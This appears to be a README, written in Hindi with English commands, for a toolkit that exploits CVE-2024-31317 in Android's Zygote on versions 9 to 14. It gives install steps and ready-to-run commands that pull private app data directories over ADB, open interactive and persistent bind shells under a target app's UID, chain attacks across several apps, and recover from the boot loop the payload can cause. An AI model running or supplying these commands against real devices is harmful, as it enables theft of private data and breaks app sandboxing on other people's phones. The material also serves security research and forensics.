Zygote Toolkit - CVE-2024-31317

यह एक टूलकिट है जो CVE-2024-31317 का उपयोग करके ADB के माध्यम से निजी ऐप डेटा निकालता है या किसी ऐप के UID के साथ शेल चलाता है। यह भेद्यता एंड्रॉइड संस्करण 9 से 14 को प्रभावित करती है जो सुरक्षा पैच स्तर 2024-06-01 या उससे कम पर चल रहे हैं। परीक्षण किए गए उपकरणों का समर्थन मैट्रिक्स नीचे दिया गया है।

पूर्वापेक्षाएँ

डेबियन/उबंटू (सिस्टम पैकेज)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

export पंक्तियों को स्थायित्व के लिए ~/.bashrc (या समकक्ष) में जोड़ें।

सत्यापित करें

./setup.sh

त्वरित आरंभ

# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

एक्सप्लॉइट पहले रन पर Hijack.java और AndroidManifest.xml से सब कुछ बनाता है।

उपयोग

python3 cve_2024_31317.py [flags] [package]

मोड्स

विकल्प

उदाहरण

# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

स्रोत से निर्माण

सब कुछ रनटाइम पर स्रोत से बनता है। बिल्ड पाइपलाइन Android SDK से javac (JDK 17+), d8, aapt, zipalign, और apksigner का उपयोग करती है।

• x86_64 → arm64: उपकरण मूल रूप से चलते हैं; DEX आउटपुट आर्किटेक्चर-स्वतंत्र है
• ARM64 → arm64: सब कुछ मूल रूप से चलता है (Adoptium ARM64 JDK बिल्ड प्रदान करता है)

पासकोड

यदि उपकरण में पासकोड है, तो यह BFU (Before First Unlock) शुरू करता है। एक्सप्लॉइट आपके अनलॉक करने तक 5 मिनट तक sys.user.0.ce_available को पोल करता है। एक्सप्लॉइट की अवधि के लिए पासकोड हटाने की सिफारिश की जाती है।

परीक्षण किए गए उपकरण

† Samsung One UI विशिष्ट: ZNJECT इंजेक्शन सफल होता है और -E निष्कर्षण काम करता है, लेकिन toybox nc ServerSocket बाइंड शेल कभी नहीं खुलता। समस्या के मूल कारण का पता लगाने के लिए और शोध की आवश्यकता है।

पुनर्प्राप्ति

पेलोड hidden_api_blacklist_exemptions में रहता है जो अगले बूट पर बूट लूप का कारण बन सकता है। रीसेट करने के लिए --recover चलाएँ:

python3 cve_2024_31317.py -d DEVICE --recover